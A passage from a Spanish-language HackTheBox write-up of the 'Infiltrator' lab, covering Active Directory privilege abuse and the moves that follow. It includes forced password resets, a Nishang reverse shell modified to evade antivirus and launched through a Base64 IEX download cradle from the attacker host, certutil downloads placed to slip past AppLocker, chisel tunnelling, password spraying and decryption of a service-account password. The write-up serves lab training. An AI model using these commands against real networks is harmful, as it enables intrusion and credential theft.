A travรฉs de la herramienta de bloodyAD nos convertimos en propietarios de la OU y nos otorgamos permisos de genericAll para tener control de la OU y de los objetos que se encuentren en esta.

โฏ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -k set owner 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'd.anderson'
[+] Old owner S-1-5-21-2606098828-3734741516-3625406802-512 is now replaced by d.anderson on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB

โฏ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -k add genericAll 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'd.anderson'
[+] d.anderson has now GenericAll on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB

En un principio, deberรญamos de disponer de control sobre los objetos que se encuentren en esta OU. Durante el proceso al tratar de modificar algรบn objeto que se encontraba en esta nos indicaba que no disponรญamos de privilegios suficientes.

Realizando una bรบsqueda nos encontramos con el siguiente blog, el cual nos indica que para tener un control total sobre las Organizational Units (OUs) debรญamos de modificar el siguiente DACL.

A travรฉs del primer comando, nos proporcionamos el control total de la OU y objetos que se encuentran en esta misma y mediante el segundo comando verificamos que el paso anterior se haya realizado correctamente.

LogoActive Directory - Access Controls ACL/ACE - Internal All The Things
โฏ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'d.anderson' -k -no-pass -dc-ip 10.10.11.31 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250117-212533.bak
[*] DACL modified successfully!

โฏ impacket-dacledit -action 'read' -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'d.anderson' -k -no-pass -dc-ip 10.10.11.31 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2606098828-3734741516-3625406802-1103)
[*]   ACE[6] info                
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : None
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : D.anderson (S-1-5-21-2606098828-3734741516-3625406802-1103)
[*]   ACE[7] info                
[*]     ACE Type                  : ACCESS_ALLOWED_ACE
[*]     ACE flags                 : CONTAINER_INHERIT_ACE, OBJECT_INHERIT_ACE
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : D.anderson (S-1-5-21-2606098828-3734741516-3625406802-1103)

Volviendo a revisar en el BloodHound, verificamos que en la OU MARKETING DIGITAL se encontraba el usuario e.rodriguez@infiltrator.htb.

Por lo tanto, dado que nos hemos otorgado el control total sobre la OU y los objetos secundarios, por ende, deberรญamos de tener control total con el usuario d.anderson@infiltrator.htb sobre el usuario e.rodriguez@infiltrator.htb.

A travรฉs de bloodyAD realizamos el cambio de contraseรฑa del usuario mencionado. Posteriormente a travรฉs de nxc,verificamos que el cambio se realizรณ correctamente.

โฏ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'd.anderson' -k set password 'e.rodriguez' 'Password01!'
[+] Password changed successfully!

โฏ nxc smb dc01.infiltrator.htb -u 'e.rodriguez' -p 'Password01!' -k
SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\e.rodriguez:Password01!

Abusing AddSelf privileges to add myself on a group

Revisando nuevamente en la ruta que encontramos en BloodHound, verificamos que el usuario que disponemos actualmente tiene permisos de AddSelf sobre el grupo CHIEFS MARKETING.

Por lo tanto, el usuario dispone de permisos para aรฑadirse a sรญ mismo al grupo mencionado.

Lo primero de todo serรก solicitar un TGT (Ticket Granting Ticket) del usuario e.rodriguez@infiltrator.htb. Almacenaremos el ticket TGT en la variable KRB5CCNAME y validaremos que estรฉ correctamente configurada.

โฏ impacket-getTGT infiltrator.htb/e.rodriguez:'Password01!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in e.rodriguez.ccache

โฏ export KRB5CCNAME=$(pwd)/e.rodriguez.ccache

โฏ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/e.rodriguez.ccache
Default principal: e.rodriguez@INFILTRATOR.HTB

Valid starting     Expires            Service principal
17/01/25 21:30:25  18/01/25 07:30:25  krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
	renew until 18/01/25 21:30:33, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96

A travรฉs de bloodyAD, nos aรฑadiremos a nosotros mismos al grupo CHIEFS MARKETING. Verificamos que nos aparece que nos hemos aรฑadido correctamente a travรฉs de ldapsearch.

โฏ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'e.rodriguez' -k add groupMember 'CHIEFS MARKETING' 'e.rodriguez'
[+] e.rodriguez added to CHIEFS MARKETING

โฏ ldapsearch -x -H ldap://10.10.11.31 -D "CN=E.Rodriguez,OU=Marketing Digital,DC=infiltrator,DC=htb" -w 'Password01!' -b "CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb" member
#
# LDAPv3
# base <CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: member 
#
# Chiefs Marketing, Users, infiltrator.htb
dn: CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb
member: CN=E.rodriguez,OU=Marketing Digital,DC=infiltrator,DC=htb
member: CN=A.walker,CN=Users,DC=infiltrator,DC=htb
member: CN=O.martinez,CN=Users,DC=infiltrator,DC=htb

Abuse ForceChangePassword privileges to change a user's password

En BloodHound verificamos que los miembros del grupo CHIEFS MARKETING disponen del permiso ForceChangePassword sobre el usuario m.harris@infiltrator.htb, pudiendo modifcarle la contraseรฑa sin disponer de la actual del usuario.

Realizaremos el cambio de contraseรฑa del usuario m.harris@infiltrator.htb a travรฉs de la herramienta de bloodyAD, verificaremos que se ha modificado correctamente las credenciales.

โฏ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'e.rodriguez' -k set password 'm.harris' 'Password01!'
[+] Password changed successfully!

โฏ nxc smb dc01.infiltrator.htb -u 'm.harris' -p 'Password01!' -k
SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\m.harris:Password01! 

Abuse CanPSRemote privileges to connect with machine

Revisando nuevamente en BloodHound, verificamos que el usuario que disponemos tiene privilegios de CanPSRemote sobre el Domain Controller DC01. Esto nos proporciona el privilegio de acceder remotamente al equipo, mediante WinRM o RDP.

Procederemos a solicitar el TGT (Ticket Granting Ticket) del usuario actual, verificaremos que se encuentra correctamente configurado el TGT.

โฏ impacket-getTGT infiltrator.htb/m.harris:'Password01!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in m.harris.ccache

โฏ export KRB5CCNAME=$(pwd)/m.harris.ccache

โฏ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/m.harris.ccache
Default principal: m.harris@INFILTRATOR.HTB

Valid starting     Expires            Service principal
17/01/25 21:40:23  18/01/25 01:40:23  krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
	renew until 18/01/25 01:40:23, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96

Nos conectaremos mediante evil-winrm al DC y verificaremos la flag de user.txt.

โฏ evil-winrm -i dc01.infiltrator.htb -r infiltrator.htb
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\M.harris\Documents> type ../Desktop/user.txt
0e37c6698b4b********************

En esta mรกquina por x motivos no funciona correctamente WnRM, al menos en mi caso se quitaba la conexiรณn cada x tiempo.

Por lo tanto, lo que hicimos fue utilizar la Reverse Shell del repositorio de Nishang. Renombramos el archivo Invoke-PowerShellTcp.ps1 a rev.ps1. Deberemos modificar el archivo para que realice el Invoke de la Reverse Shell al final del script. En este caso, modificamos un poco el script para que el AV no lo detecte tan facilmente.

โฏ cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .

โฏ mv Invoke-PowerShellTcp.ps1 rev.ps1

โฏ nvim rev.ps1

โฏ head -n 1 rev.ps1 && tail -n 1 rev.ps1
function Gzzcoo
Gzzcoo -Reverse -IPAddress 10.10.16.5 -Port 443

Nos ponemos en escucha por el puerto indicado en el script rev.ps1.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

Codificamos en Base64 de Windows el comando que desde el equipo DC01 ejecutaremos y levantaremos un servidor web con Python.

โฏ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde la consola donde hemos iniciado sesiรณn con evil-winrm, ejecutaremos el comando encodeado en Base64 para otorgarnos la Reverse Shell.

*Evil-WinRM* PS C:\> powershell -e <BASE64_CODE>

Verificamos que hemos logrado obtener el acceso correctamente al equipo, desde esta terminal no tendremos problemas de desconexiรณn al equipo.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.31] 62397
Windows PowerShell running as user M.harris on DC01
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\>whoami
infiltrator\m.harris

Output Messenger

En la enumeraciรณn inicial del equipo, nos encontramos que se encontraba instalado una aplicaciรณn llamada Output Messenger, algo inusual en mรกquinas de HTB.

PS C:\Program Files> ls

    Directory: C:\Program Files


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        12/4/2023   9:22 AM                Common Files                                                          
d-----        8/21/2024   1:50 PM                Hyper-V                                                               
d-----        2/19/2024   3:52 AM                internet explorer                                                     
d-----        2/23/2024   5:06 AM                Output Messenger                                                      
d-----        1/17/2025   7:02 AM                Output Messenger Server
...[snip]...

Realizamos una bรบsqueda por internet sobre la aplicaciรณn. Al parecer, es una aplicaciรณn bastante parecida a Microsoft Teams.

Output Messenger --> Herramienta de colaboraciรณn que permite la productividad del equipo a travรฉs de mensajerรญa LAN instantรกnea, transferencia de archivos, uso compartido de escritorio remoto y mรกs.

Para buscar posibles vectores de escalar nuestros privilegios en la mรกquina vรญctima, decidimos hacer uso de la herramienta de winPEAS.exe. Este binario lo deberemos de disponer en nuestro equipo local, lo compartiremos a travรฉs de un servidor web.

โฏ ls -l winPEASx64.exe
.rw-r--r-- kali kali 9.4 MB Fri Jan 17 22:00:43 2025 ๏…บ winPEASx64.exe

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde el equipo comprometido, procederemos a descargar el binario en una ruta que el AppLocker no lo detecte.

PS C:\Windows\System32\spool\drivers\color> certutil.exe -f -urlcache -split http://10.10.16.5/winPEASx64.exe wPE.exe
****  Online  ****
  000000  ...
  962e00
CertUtil: -URLCache command completed successfully.
PS C:\Windows\System32\spool\drivers\color> 

Ejecutaremos el winPEAS.exe y el output lo almacenaremos en un archivo llamado result.txt.

PS C:\Windows\System32\spool\drivers\color> ./wPE.exe > result.txt
PS C:\Windows\System32\spool\drivers\color> ls

    Directory: C:\Windows\System32\spool\drivers\color


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
...[snip]...                                                        
-a----        1/17/2025   1:05 PM         271602 result.txt                                                                                                   
-a----        1/17/2025   1:03 PM        9842176 wPE.exe 

Para compartirnos este resultado en nuestro equipo local, decidimos en levantar un servidor SMB en nuestra Kali.

โฏ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Copiaremos el archivo result.txt en el recurso compartido SMB que hemos levantado desde Kali.

PS C:\Windows\System32\spool\drivers\color> copy result.txt \\10.10.16.5\smbFolder\result.txt

Revisando el resultado obtenido del escaneo de winPEAS, verificamos que existen varios puertos en escucha sobre la aplicaciรณn de Output Messenger. Lo cual nos hace pensar que la aplicaciรณn estรก en ejecuciรณn en el DC actualmente.

Performing a Windows port forwarding to my Kali machine

Disponemos de los siguientes puertos que utiliza la aplicaciรณn Output Messenger, nuestro objetivo serรก compartir estos puertos internos del DC hacรญa nuestra Kali Linux mediante Port Forwarding.

14118 14119 14121 14122 14123 14125 14126 14127 14128 14130 14406

En nuestra Kali, deberemos de disponer de los binario de chisel para UNIX y Windows. El binario de chisel.exe lo dberemos de compartir en el Domain Controller a travรฉs de un servidor web.

โฏ ls -l chisel*
.rwxr-xr-x root root 8.9 MB Fri Jan 17 22:34:37 2025 ๏’‰ chisel
.rw-r--r-- root root 9.3 MB Fri Jan 17 22:34:34 2025 ๏…บ chisel.exe

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde el equipo vรญctima, descargaremos el binario chisel.exe en la ruta donde el AppLocker no nos lo detecte.

PS C:\Windows\System32\spool\drivers\color> certutil.exe -f -urlcache -split http://10.10.16.5/chisel.exe chisel.exe
****  Online  ****
  000000  ...
  94f000


CertUtil: -URLCache command completed successfully.

Configuraremos el chisel como servidor en nuestra mรกquina Kali, el puerto de servidor que utilizaremos es el 1234.

โฏ ./chisel server --reverse -p 1234
2025/01/17 22:40:37 server: Reverse tunnelling enabled
2025/01/17 22:40:37 server: Fingerprint I6Ynm0ZTnuYDUNAGFMMgzfXZBpDcrTUbgapoYk6CTMc=
2025/01/17 22:40:37 server: Listening on http://0.0.0.0:1234

Desde la mรกquina vรญctima, la configuaremos como cliente para que se conecte al servidor de nuestra Kali. Compartiremos todos los puertos internos que utiliza la aplicaciรณn Output Messenger para que sean los mismos puertos en nuestra Kali Linux.

PS C:\Windows\System32\spool\drivers\color> .\chisel.exe client 10.10.16.5:1234 R:14118:127.0.0.1:14118 R:14119:127.0.0.1:14119 R:14121:127.0.0.1:14121 R:14122:127.0.0.1:14122 R:14123:127.0.0.1:14123 R:14125:127.0.0.1:14125 R:14126:127.0.0.1:14126 R:14127:127.0.0.1:14127 R:14128:127.0.0.1:14128 R:14130:127.0.0.1:14130 R:14406:127.0.0.1:14406

Desde Kali revisaremos que disponemos de los puertos en LISTEN, significando que se ha realizado el Port Forwarding correctamente y ya los tenemos accesibles desde nuestro equipo.

โฏ netstat -ano | grep "LISTEN"
tcp6       0      0 :::1234                 :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14121                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14122                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14123                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14125                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14126                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14127                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14118                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14119                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14128                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14130                :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 :::14406                :::*                    LISTEN      off (0.00/0/0)

Sharing the OpenVPN Connection from Linux with Windows so we can have two boxes connected simultaniously

La aplicaciรณn de Output Messenger, al parecer desde Linux no funciona, por lo cual decidimos probar de utilizarla en una mรกquina Windows que disponรญamos.

El problema aquรญ es que los puertos que hemos realizado el Port Forwarding se encuentran en nuestra mรกquina Kali, podrรญamos realizar nuevamente el Port Forwarding con chisel para compartir los puertos de Kali hacรญa nuestro otro equipo Windows.


En este caso, optamos por compartir nuestra conexiรณn de OpenVPN de Kali Linux con la mรกquina Windows para tener ambas mรกquinas conectadas simulteanamente.

Primero de todo, deberemos de habilitar el reenvรญo de paquetes. Despuรฉs configuramos las reglas de las tablas de filtrado iptables para permitir el trรกfico entrante y saliente desde la interfaz tun0 (OpenVPN) hacia eth0 (la interfaz de red fรญsica).

Verificamos la direcciรณn IP que disponemos en Kali Linux para realizar el MASQUERADE y poder compartir la conexiรณn de Kali Linux, usamos una regla en la tabla NAT.

โฏ echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
1
โฏ catnp /proc/sys/net/ipv4/ip_forward
1
โฏ sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
โฏ sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
โฏ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.249.128  netmask 255.255.255.0  broadcast 192.168.249.255
        inet6 fe80::17ec:5b0f:745a:a939  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:8f:cb:51  txqueuelen 1000  (Ethernet)
        RX packets 398298  bytes 93414302 (89.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 354211  bytes 137266652 (130.9 MiB)
        TX errors 0  dropped 116 overruns 0  carrier 0  collisions 0

โฏ sudo iptables -t nat -A POSTROUTING -s 192.168.249.0/24 -o tun0 -j MASQUERADE

Desde nuestra mรกquina Windows (atacante) verificamos que no disponemos de conexiรณn al equipo del Domain Controller aรบn.

PS C:\Windows\system32> ping -n 1 10.10.11.31

Pinging 10.10.11.31 with 32 bytes of data:
Request timed out.

Ping statistics for 10.10.11.31:
    Packets: Sent = 1, Received = 0, Lost = 1 (100% loss),
PS C:\Windows\system32>

Por lo tanto, tuvimos que agregar manualmente las rutas necesarias para que Windows pueda comunicarse correctamente con las redes detrรกs de la VPN. Verificamos que disponemos de conexiรณn con el DC y con la IP de nuestra Kali de la interfaz tun0.

PS C:\Windows\system32> route add 10.10.10.0/23 mask 255.255.254.0 192.168.249.128
 OK!
PS C:\Windows\system32> ping -n 1 10.10.11.31

Pinging 10.10.11.31 with 32 bytes of data:
Reply from 10.10.11.31: bytes=32 time=32ms TTL=126

Ping statistics for 10.10.11.31:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 32ms, Maximum = 32ms, Average = 32ms
PS C:\Windows\system32>
PS C:\Windows\system32> route add 10.10.16.0/16 mask 255.255.0.0 192.168.249.128
 OK!
PS C:\Windows\system32> ping -n 1 10.10.16.5

Pinging 10.10.16.5 with 32 bytes of data:
Reply from 10.10.16.5: bytes=32 time=3ms TTL=64

Ping statistics for 10.10.16.5:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 3ms, Maximum = 3ms, Average = 3ms
PS C:\Windows\system32>

Logging in as k.turner in Output Messenger

Descargaremos la aplicaciรณn de Output Messenger desde el siguiente enlace, deberemos de descargar la versiรณn de Cliente Windows.

LogoLAN Messenger Downloadsoutputmessenger

Si bien recordamos, en la enumeraciรณn de LDAP, encontramos en el campo Description lo que parecรญa ser una contraseรฑa.

Abriremos la aplicaciรณn de Output Messenger y procederemos a iniciar sesiรณn con las credenciales k.turner/MessengerApp@Pass!. La direcciรณn IP que especificaremos es la que disponemos en nuestra mรกquina Kali de la interfaz fรญsica eth0.

Perfecto, hemos podido iniciar sesiรณn en la aplicaciรณn con el usuariok.turner. A continuaciรณn, deberemos explorar los diferentes chats y funciones para intentar buscar algรบn tipo de informaciรณn interesante.

En el chatroom Dev_chat encontramos la siguiente conversaciรณn, donde se discute el desarrollo de una herramienta llamada UserExplorer.exe para recuperar informaciรณn de usuarios desde un servidor LDAP. Aquรญ algunos puntos clave y lo mรกs interesante:

  • Desarrollo de la herramienta: Se estรก creando una aplicaciรณn que permitirรก obtener detalles de los usuarios de LDAP, como nombre, correo electrรณnico y telรฉfono, utilizando el protocolo LDAP.

  • Seguridad en las credenciales: Se ha implementado el uso del descifrado AES para manejar las contraseรฑas, garantizando asรญ la confidencialidad de los datos sensibles.

  • Opciones de entrada: La herramienta admitirรก argumentos de lรญnea de comandos para el nombre de usuario, la contraseรฑa y el usuario buscado, ofreciendo una opciรณn predeterminada para facilitar el uso.

  • Estado actual: Actualmente, la aplicaciรณn estรก en fase de pruebas exhaustivas realizadas por el equipo de control de calidad, y se estรกn refinando los mensajes de error para asegurar una experiencia fluida para el usuario.

Information leakage (password filtered in notices)

Si nos dirigimos al apartado de Notices, vemos una noticia que habla sobre una alerta sobre la autenticaciรณn previa se encuentra deshabilitada en Kerberos para algunos usuarios. Esto nos confirma el motivo por el cual algunos usuarios aparecรญan como restringidos.

Por otro lado, tambiรฉn vemos que en las noticias aparecen lo que parecen ser las credenciales de acceso del usuario m.harris@infiltrator.htb.

Probaremos de realizar un Password Spraying para verificar si estas credenciales son vรกlidas para algรบn usuario.

โฏ nxc smb dc01.infiltrator.htb -u users.txt -p 'D3v3l0p3r_Pass@1337!' -k --continue-on-success
SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\d.anderson:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\o.martinez:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\k.turner:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\a.walker:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\m.harris:D3v3l0p3r_Pass@1337! 
SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\e.rodriguez:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\l.clark account vulnerable to asreproast attack

Logging in as m.harris in Output Messenger

Probaremos de autenticarnos en la aplicaciรณn de Output Messenger en busca de ver si con este usuario tenemos mรกs informaciรณn interesante que nos pueda servir.

Vemos que disponemos de un chat con el usuario Admin, el cual nos comparte el binario de la aplicaciรณn UserExplorer.exe que anteriormente estuvieron hablando en el chat de Dev_Chat. Nos descargaremos el binario accediendo a travรฉs de la opciรณn de Open Folder.

Dispondremos del binario de UserExplorer.exe, el cual realizaremos una copia en nuestro Desktop.

Debugging with dnSpy

Al analizar el binario, nos encontramos que aparecen las credenciales cifradas del usuario winrm_svc. Si bien recordamos en la conversaciรณn del chatroom de Dev_Chat, estaban intentando cifrar esta contraseรฑa en cifrado AES.

A travรฉs del siguiente script, lo que realizaremos es descodificar la contraseรฑa cifrada para obtenerla en texto plano.

decrypt.py
from Crypto.Cipher import AES
import base64

def decrypt_string(key, cipher_text):
    key_bytes = key.encode('utf-8')
    cipher_bytes = base64.b64decode(cipher_text)

    cipher = AES.new(key_bytes, AES.MODE_CBC, b'\x00' * 16)
    decrypted_bytes = cipher.decrypt(cipher_bytes)

    # Elimina el relleno PKCS7 (donde el รบltimo byte indica la cantidad de relleno)
    padding_length = decrypted_bytes[-1]
    decrypted_bytes = decrypted_bytes[:-padding_length]

    decrypted_text = decrypted_bytes.decode('utf-8')
    return decrypted_text

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("Usage: python decrypt_script.py <cipher_text>")
        sys.exit(1)
    
    cipher_text = sys.argv[1]
    
    key = "b14ca5898a4e4133bbce2ea2315a1916"  # Clave para AES
    decrypted_text = decrypt_string(key, cipher_text)
    print(f"Contraseรฑa descifrada: {decrypted_text}")

Al ejecutar el script y pasarle el valor de la contraseรฑa cifrado, verificamos que nos devolvรญo un string parecido a Base64. Al intentar descodificar el contenido en Base64 no nos devolviรณ un resultado legible.

Por lo que volvimos a ejecutar el script pero indicรกndole este nuevo valor obtenido. Al parecer pudimos desencriptar la contraseรฑa cifrada y obtener la contraseรฑa en texto plano.

โฏ python decrypt.py TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=
Contraseรฑa descifrada: SKqwQk81tgq+C3V7pzc1SA==
โฏ echo 'SKqwQk81tgq+C3V7pzc1SA==' | base64 -d; echo
H๏ฟฝ๏ฟฝBO5๏ฟฝ
๏ฟฝ
 u{๏ฟฝ75H
โฏ python decrypt.py SKqwQk81tgq+C3V7pzc1SA==
Contraseรฑa descifrada: WinRm@$svc^!^P

Validamos que efectivamente estas credenciales son vรกlidas para el usuario winrm_svc@infiltrator.htb.

โฏ nxc smb dc01.infiltrator.htb -u 'winrm_svc' -p 'WinRm@$svc^!^P' -k
SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\winrm_svc:WinRm@$svc^!^P 

Logging in winrm_svc in Output Messenger

Probaremos de acceder a Output Messenger con las credenciales reciรฉn obtenidas.

Revisando los chats, O. Martรญnez reportรณ que recibe ventanas emergentes de sitios web al azar todos los dรญas a las 09:00 a. m. Durante la conversaciรณn, mencionรณ que no ha compartido su contraseรฑa, salvo con el grupo Chiefs_Marketing_chat.

Esto nos interesa, ya que revisar las conversaciones de ese grupo podrรญa revelar detalles sobre la contraseรฑa del usuario, permitiรฉndonos verificar su validez y potencialmente utilizarla para realizar ataques de pivoting o escalar privilegios.

Por otro lado, en la secciรณn de notas, verificamos que nos aparece una API Key, deberemos investigar si podemos hacer uso de esta API Key en algรบn servicio.

lan_managment api key 558R501T5I6024Y8JV3B7KOUN1A518GG

Using Output Messenger API to retrieve conversations logs on a group

Buscamos por internet informaciรณn sobre la API de Output Messenger, en la cual nos encontramos con la siguiente pรกgina en donde nos informa como poder utilizar la API de la aplicaciรณn.

LogoAPI - Helper - Knowledge Base

Revisando mรกs informaciรณn sobre las posibilidades del uso del API, verificamos que hay un apartado en el cual a travรฉs de la API, podemos visualizar los logs de un chat room.

Esto nos interesa bastante, debido que si bien recordamos, el usuario O.martinez compartiรณ sus credenciales en el chat Chiefs_marketing_chat.

Para poder comprobar los logs del chat room, necesitarรญamos los siguientes datos:

  • [roomkey] - Chat Room Key.

  • [fromdate] - Start Date.

  • [todate] - End Date.

Nos faltarรญa saber cual es la roomkey del chat room que queremos revisar los logs.

LogoChat RoomsKnowledge Base

Para empezar, primero revisaremos como funciona la API, en este ejemplo, se nos muestra como authenticarnos a travรฉs de nuestra API-KEY.

LogoAuthenticationKnowledge Base

Desde nuestra mรกquina Kali, interceptaremos la solicitud con FoxyProxy y BurpSuite sobre la direcciรณn http://127.0.0.1:14125/api/users, lo realizamos desde localhost (127.0.0.1) ya que anteriormente nos compartimos los puertos internos del DC a nuestra Kali Linux.

Al tener la solicitud interceptada en BurpSuite, le indicaremos la API-KEY que encontramos anteriormente. Verificamos que hemos podido consultar los usuarios correctamente tal y como nos indicaba el ejemplo de Authentication.

Ya sabemos como utilizar el API-KEY para utilizar la API, ahora lo รบnico que nos queda es saber cual es el roomkey del chat room de Chiefs_Marketing_chat.

Despuรฉs de una larga bรบsqueda, decidimos revisar si en el AppData del usuario winrm_svc habรญa algรบn dato interesante.

Revisando los grupos a los que formaba parte el usuario winrm_svc, verificamos que formaba parte del grupo Remote Management Users, por lo tanto nos podremos conectar en remoto al equipo.

Para ello, primero deberemos de solicitar un TGT (Ticket Granting Ticket) del usuario, almacenarlo en la variable KRB5CCNAME y verificar que el ticket TGT estรฉ correctamente configurado.

โฏ impacket-getTGT infiltrator.htb/winrm_svc:'WinRm@$svc^!^P'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in winrm_svc.ccache

โฏ export KRB5CCNAME=$(pwd)/winrm_svc.ccache

โฏ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/winrm_svc.ccache
Default principal: winrm_svc@INFILTRATOR.HTB

Valid starting     Expires            Service principal
18/01/25 00:27:56  18/01/25 10:27:56  krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
	renew until 19/01/25 00:28:04, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 

